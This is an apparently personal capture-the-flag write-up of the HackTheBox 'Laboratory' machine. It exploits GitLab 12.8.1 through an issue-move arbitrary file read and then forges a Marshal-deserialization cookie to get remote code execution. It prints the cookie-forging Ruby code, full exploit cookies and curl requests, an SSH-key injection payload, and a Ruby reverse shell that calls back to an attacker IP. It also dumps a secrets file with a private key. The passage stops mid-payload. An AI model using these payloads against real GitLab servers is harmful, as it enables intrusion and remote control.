
Laboratory

Scan
As usual, both TCP and UDP ports scan was done on the box. The TCP scan revealed that the following ports are open:
# Nmap 7.91 scan initiated Sun Nov 22 11:32:06 2020 as: nmap -A -p- --open -iL ../ip.txt -oA nmap_all_tcp
Nmap scan report for 10.10.10.216
Host is up (0.019s latency).
Not shown: 65532 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)
| 256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)
|_ 256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
| tls-alpn:
|_ http/1.1Recon
A site web is presented to the visitor. Look like a basic front-end website. 
The certificate on the web server was studied with sslcan and alternate name were found. 
A quick enumeration to find other virtual hosts was done with gobuster. It confirmed that the virtual host git.laboratory.htb was present on the machine. No other virtual host was found apart the one in the certificate. 
Gitlab
On the git.laboratory.htb, the site is running a Gitlab instance. It also looks like that it is possible to register to the Gitlab instance. Allowing everyone to register could be a problem because authenticated users can browse public repositories and try to gather information on the Gitlab users. An authenticated user can retrieve the Gitlab version and try to look for public vulnerabilities. 
Trying to register with a fake email was not possible. 
Might be worth trying to register with the laboratory.htb domain. If there is no email validation, it would be a solution to get a user account on the Gitlab. 
The assumptions were good, and we were connected to account right after clicking on the register button. 
Gitlab version
The Gitlab version can be retrieved :
curl -k -b "_Gitlab_session=7c6b7e[...]558e" https://git.laboratory.htb/api/v4/version
{"version":"12.8.1","revision":"d18b43a5f5a"}Gitlab users
Once logged, it is possible to look for public repositories. One repository https://git.laboratory.htb/dexter/securewebsite is owned by the user dexter.

No sensible information was found on this repository. However, an issue was posted by the user seven.

Another way to retrieve users would be to request the URL /autocomplete/users when authenticated.
[
{"id":1,"name":"Dexter McPherson","username":"dexter","state":"active","avatar_url":"http://git.laboratory.htb/uploads/-/system/user/avatar/1/avatar.png","web_url":"http://git.laboratory.htb/dexter","status_tooltip_html":null,"path":"/dexter"},
{"id":5,"name":"Meteor","username":"onething","state":"active","avatar_url":null,"web_url":"http://git.laboratory.htb/onething","status_tooltip_html":null,"path":"/onething"},
{"id":4,"name":"Seven","username":"seven","state":"active","avatar_url":"http://git.laboratory.htb/uploads/-/system/user/avatar/4/avatar.png","web_url":"http://git.laboratory.htb/seven","status_tooltip_html":null,"path":"/seven"},
{"id":6,"name":"hophouse","username":"hophouse","state":"active","avatar_url":null,"web_url":"http://git.laboratory.htb/hophouse","status_tooltip_html":null,"path":"/hophouse"}
]We know that 2 users already exist on the system :
dextersevenonethinghophouse(us)
Arbitrary file read
This version of Gitlab seems to be impacted by a lot of vulnerabilities. William Bowling alias vakzz published a report on the HackerOne application https://hackerone.com/reports/827052. One is an arbitrary file read for authenticated users. Files can be read on the system. To do so, a connected user needs to open an issue on a project and add the following markdown code :
Once the issue submitted if the issue is moved to another project, then an arbitrary file read will append and if the local file exists, it will be available.
We can try to read the /etc/passwd file. Two projects were created : p1 and p2. An issue was created on the first one. 
The link is pointing to https://git.laboratory.htb/etc/passwd. Then the issue is moved to p2, and then the issue was visited.

The file can be downloaded and read :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/Gitlab:/bin/sh
Gitlab-www:x:999:999::/var/opt/Gitlab/nginx:/bin/false
Gitlab-redis:x:997:997::/var/opt/Gitlab/redis:/bin/false
Gitlab-psql:x:996:996::/var/opt/Gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/Gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/Gitlab/registry:/bin/sh
Gitlab-prometheus:x:992:992::/var/opt/Gitlab/prometheus:/bin/sh
Gitlab-consul:x:991:991::/var/opt/Gitlab/consul:/bin/shHowever, it looks like not sensitive information can be retrieved this way. Information at the root of the Gitlab folder was searched but without success.
Finally, it looked like a dead end.
Authenticated Remote Code Execution
Test settings
After digging a little bit further into vakzz's report (https://hackerone.com/reports/827052), he suggests in one comment that the vulnerability could be turned into a Remote Code Execution (RCE) vulnerability if the parameter cookie_serializer is at its default value :hybrid.
In fact, via the arbitrary file read, the secret_key_base located into /opt/Gitlab/embedded/service/Gitlab-rails/config/secrets.yml can be retrieved. By setting a local instance and using the same key, it is possible to craft a experimentation_subject_id cookie. This cookie, when unmarshalled allows the owner to execute commands on the system.
The experimentation_subject_id cookie can be generated with the following command into the rails console :
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo vakzz was here > /tmp/vakzz` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]Cookie can then be sent and code is executed :
curl -vvv 'http://Gitlab-vm.local/users/sign_in' -b "experimentation_subject_id=BAhv[...]b06"Test reports
Retrieve the secret_key_base
Like it was done before, the arbitrary file read vulnerability was used to retrieve the content of the file secrets.yml located into /opt/Gitlab/embedded/service/Gitlab-rails/config/secrets.yml.
The payload used in the issue was the following one :
The issue was moved, and the content of secrets.yml was retrieved.
# This file is managed by Gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/Gitlab/Gitlab.rb
# and run `sudo Gitlab-ctl reconfigure`.
---
production:
db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----The secret_key_base can then be retrieved :
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3Create a clone of the Gitlab instance
In order to craft a cookie, a Gitlab instance running with the same version and the secret_key_base is needed. To do so, docker can be leveraged to run such instance. An image can be pulled out.
❯ docker pull Gitlab/Gitlab-ce:12.8.1-ce.0A container can be started :
❯ docker run -d --name Gitlab docker.io/Gitlab/Gitlab-ce:12.8.1-ce.0
a38bde98dee32b1b6b64b7ed422d713eea5438986b6cf3d6f4001fa480afbb22The file can be edited
❯ docker exec -it Gitlab vim /opt/Gitlab/embedded/service/Gitlab-rails/config/secrets.ymlAll the content of the previously retrieved file was copied into the containers secrets.yml file.
The application was restarted :
❯ Gitlab-ctl restartChose a payload
Now that we have a clone running, a payload need to be chosen in order to exploit the vulnerability.
A payload idea would be to copy a RSA public key to the SSH authorised keys of a user. It looks like the user dexter is a good candidate.
The payload would then be :
erb = ERB.new("<%= `echo ssh-rsa AAA[...]]EM= root@Kali-HTB >> /home/dexter/.ssh/authorized_keys` %>")A folder was created on the docker to test the payload locally.
root@a38bde98dee3:/# mkdir -p /home/dexter/.sshGenerate Marshalled cookie
After entering into the docker, the command Gitlab-rails console was ran.
❯ docker exec -it Gitlab /bin/bash
root@a38bde98dee3:/# Gitlab-rails console
--------------------------------------------------------------------------------
Gitlab: 12.8.1 (d18b43a5f5a) FOSS
Gitlab Shell: 11.0.0
PostgreSQL: 10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
irb(main):001:0>The following command were executed.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEjdCEtlOt0DAmjjMl61djM7gYTPccaBq6bB6rAmuWobwpiuXHqDvRNXCf99JjgOwoylnwCHthiQ7wj2fKh2HXOVcFFd1N8U+g199ZnPB5QHOmAMGKfNKj9Vf8VhTztow279OsIFgtEMcLxj45pNv9HQ+yXqokuw83lmPtcSudEqoMCw0ZU04YTsz7H2I0lz+UIocrgFkObrHSuwrB5lsJLIKyv06DU8H2S9ZV7Nxo9NayaknFziiLA8KoP7YmqM8YEPxGqSw4VU89dl/GbxbuFQsQod/W+QwyX1fu0/4kxASH/3PG/4frYQkOy8xLibrNrFvJLpzne6rpZi7sjsEgatKpCb+1tTZrWy5sSX1LETTZmb/nMNOMHkHecWnv/jFba3dMdIMkYjxn5wVWP4tx4epFxkp8V1GJHe3FytNj68w6pIaTyJUahPT9dCHPiAagLwrq1uOl1SypkcL6sZ9SSGCETfaKfPEDQAbYtHLELkG57LZ5s/I4iLOPrZUWJEM= root@Kali-HTB >> /home/dexter/.ssh/authorized_keys` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]The cookie obtained is the following one :
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAp0CI2NvZGluZzpVVEYtOApfZXJib3V0ID0gKycnOyBfZXJib3V0Ljw8KCggYGVjaG8gc3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FERWpkQ0V0bE90MERBbWpqTWw2MWRqTTdnWVRQY2NhQnE2YkI2ckFtdVdvYndwaXVYSHFEdlJOWENmOTlKamdPd295bG53Q0h0aGlRN3dqMmZLaDJIWE9WY0ZGZDFOOFUrZzE5OVpuUEI1UUhPbUFNR0tmTktqOVZmOFZoVHp0b3cyNzlPc0lGZ3RFTWNMeGo0NXBOdjlIUSt5WHFva3V3ODNsbVB0Y1N1ZEVxb01DdzBaVTA0WVRzejdIMkkwbHorVUlvY3JnRmtPYnJIU3V3ckI1bHNKTElLeXYwNkRVOEgyUzlaVjdOeG85TmF5YWtuRnppaUxBOEtvUDdZbXFNOFlFUHhHcVN3NFZVODlkbC9HYnhidUZRc1FvZC9XK1F3eVgxZnUwLzRreEFTSC8zUEcvNGZyWVFrT3k4eExpYnJOckZ2Skxwem5lNnJwWmk3c2pzRWdhdEtwQ2IrMXRUWnJXeTVzU1gxTEVUVFptYi9uTU5PTUhrSGVjV252L2pGYmEzZE1kSU1rWWp4bjV3VldQNHR4NGVwRnhrcDhWMUdKSGUzRnl0Tmo2OHc2cElhVHlKVWFoUFQ5ZENIUGlBYWdMd3JxMXVPbDFTeXBrY0w2c1o5U1NHQ0VUZmFLZlBFRFFBYll0SExFTGtHNTdMWjVzL0k0aUxPUHJaVVdKRU09IHJvb3RAS2FsaS1IVEIgPj4gL2hvbWUvZGV4dGVyLy5zc2gvYXV0aG9yaXplZF9rZXlzYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--8a4c9e7ed9c6a9145540e5993f500a896876b6f2Test the exploit locally
Ensure that the authorized_keys of the user dexter on our docker is empty.
root@a38bde98dee3:~# cat /home/dexter/.ssh/authorized_keysRun the exploit :
$> curl -v -k 'http://172.17.0.3/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAp0CI2NvZGluZzpVVEYtOApfZXJib3V0ID0gKycnOyBfZXJib3V0Ljw8KCggYGVjaG8gc3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FERWpkQ0V0bE90MERBbWpqTWw2MWRqTTdnWVRQY2NhQnE2YkI2ckFtdVdvYndwaXVYSHFEdlJOWENmOTlKamdPd295bG53Q0h0aGlRN3dqMmZLaDJIWE9WY0ZGZDFOOFUrZzE5OVpuUEI1UUhPbUFNR0tmTktqOVZmOFZoVHp0b3cyNzlPc0lGZ3RFTWNMeGo0NXBOdjlIUSt5WHFva3V3ODNsbVB0Y1N1ZEVxb01DdzBaVTA0WVRzejdIMkkwbHorVUlvY3JnRmtPYnJIU3V3ckI1bHNKTElLeXYwNkRVOEgyUzlaVjdOeG85TmF5YWtuRnppaUxBOEtvUDdZbXFNOFlFUHhHcVN3NFZVODlkbC9HYnhidUZRc1FvZC9XK1F3eVgxZnUwLzRreEFTSC8zUEcvNGZyWVFrT3k4eExpYnJOckZ2Skxwem5lNnJwWmk3c2pzRWdhdEtwQ2IrMXRUWnJXeTVzU1gxTEVUVFptYi9uTU5PTUhrSGVjV252L2pGYmEzZE1kSU1rWWp4bjV3VldQNHR4NGVwRnhrcDhWMUdKSGUzRnl0Tmo2OHc2cElhVHlKVWFoUFQ5ZENIUGlBYWdMd3JxMXVPbDFTeXBrY0w2c1o5U1NHQ0VUZmFLZlBFRFFBYll0SExFTGtHNTdMWjVzL0k0aUxPUHJaVVdKRU09IHJvb3RAS2FsaS1IVEIgPj4gL2hvbWUvZGV4dGVyLy5zc2gvYXV0aG9yaXplZF9rZXlzYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--8a4c9e7ed9c6a9145540e5993f500a896876b6f2"Displaying the file on the docker proved that RCE worked.
root@a38bde98dee3:~# cat /home/dexter/.ssh/authorized_keys
ssh-rsa AAA[...]JEM= root@Kali-HTBRun the payload on the machine
The following request was sent :
$> curl -v -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAp0CI2NvZGluZzpVVEYtOApfZXJib3V0ID0gKycnOyBfZXJib3V0Ljw8KCggYGVjaG8gc3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FERWpkQ0V0bE90MERBbWpqTWw2MWRqTTdnWVRQY2NhQnE2YkI2ckFtdVdvYndwaXVYSHFEdlJOWENmOTlKamdPd295bG53Q0h0aGlRN3dqMmZLaDJIWE9WY0ZGZDFOOFUrZzE5OVpuUEI1UUhPbUFNR0tmTktqOVZmOFZoVHp0b3cyNzlPc0lGZ3RFTWNMeGo0NXBOdjlIUSt5WHFva3V3ODNsbVB0Y1N1ZEVxb01DdzBaVTA0WVRzejdIMkkwbHorVUlvY3JnRmtPYnJIU3V3ckI1bHNKTElLeXYwNkRVOEgyUzlaVjdOeG85TmF5YWtuRnppaUxBOEtvUDdZbXFNOFlFUHhHcVN3NFZVODlkbC9HYnhidUZRc1FvZC9XK1F3eVgxZnUwLzRreEFTSC8zUEcvNGZyWVFrT3k4eExpYnJOckZ2Skxwem5lNnJwWmk3c2pzRWdhdEtwQ2IrMXRUWnJXeTVzU1gxTEVUVFptYi9uTU5PTUhrSGVjV252L2pGYmEzZE1kSU1rWWp4bjV3VldQNHR4NGVwRnhrcDhWMUdKSGUzRnl0Tmo2OHc2cElhVHlKVWFoUFQ5ZENIUGlBYWdMd3JxMXVPbDFTeXBrY0w2c1o5U1NHQ0VUZmFLZlBFRFFBYll0SExFTGtHNTdMWjVzL0k0aUxPUHJaVVdKRU09IHJvb3RAS2FsaS1IVEIgPj4gL2hvbWUvZGV4dGVyLy5zc2gvYXV0aG9yaXplZF9rZXlzYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--8a4c9e7ed9c6a9145540e5993f500a896876b6f2"And a connection was tried through the SSH protocol for the user dexter.
$> ssh dexter@laboratory.htb
dexter@laboratory.htb: Permission denied (publickey).Payload 2 : Find another payload
I was not sure about the how it did not work at the time. I decided to get a reverse shell instead of just adding my key to a user. In fact, I am not sure that the user dexter is allowed to connect through SSH on the machine.
I had to try a lot of payloads before finding one that works on my docker test container. I had a lot of FileDescriptor issues. But finally I found one that works well.
erb = ERB.new("<%= `ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"172.17.0.2\",\"80\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'` %>")I used the following payload and used my LAB IP at the moment.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"172.17.0.2\",\"80\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]The experimentation_subject_id was the following one.
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAbsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgcnVieSAtcnNvY2tldCAtZSAnZXhpdCBpZiBmb3JrO2M9VENQU29ja2V0Lm5ldygiMTcyLjE3LjAuMiIsIjgwIik7d2hpbGUoY21kPWMuZ2V0cyk7SU8ucG9wZW4oY21kLCJyIil7fGlvfGMucHJpbnQgaW8ucmVhZH1lbmQnYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--1876f2f9ff5819740f3840df5efc8b5becb1b7d4Payload 2 : New payload local test
I set up a netcat listener on my box.
$> nc -nlvp 80Then I tested locally the RCE.
$> curl -v 'http://172.17.0.3/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAbsjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgcnVieSAtcnNvY2tldCAtZSAnZXhpdCBpZiBmb3JrO2M9VENQU29ja2V0Lm5ldygiMTcyLjE3LjAuMiIsIjgwIik7d2hpbGUoY21kPWMuZ2V0cyk7SU8ucG9wZW4oY21kLCJyIil7fGlvfGMucHJpbnQgaW8ucmVhZH1lbmQnYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--1876f2f9ff5819740f3840df5efc8b5becb1b7d4"And I was able to get a remote access my local container.
$> nc -nklvp 80
Listening on 0.0.0.0 80
Connection received on 172.17.0.3 46278
whoami
gitPayload 2 : Generate new payload for the machine
I used the following payload and used my LAB IP at the moment.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"10.10.15.11\",\"80\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
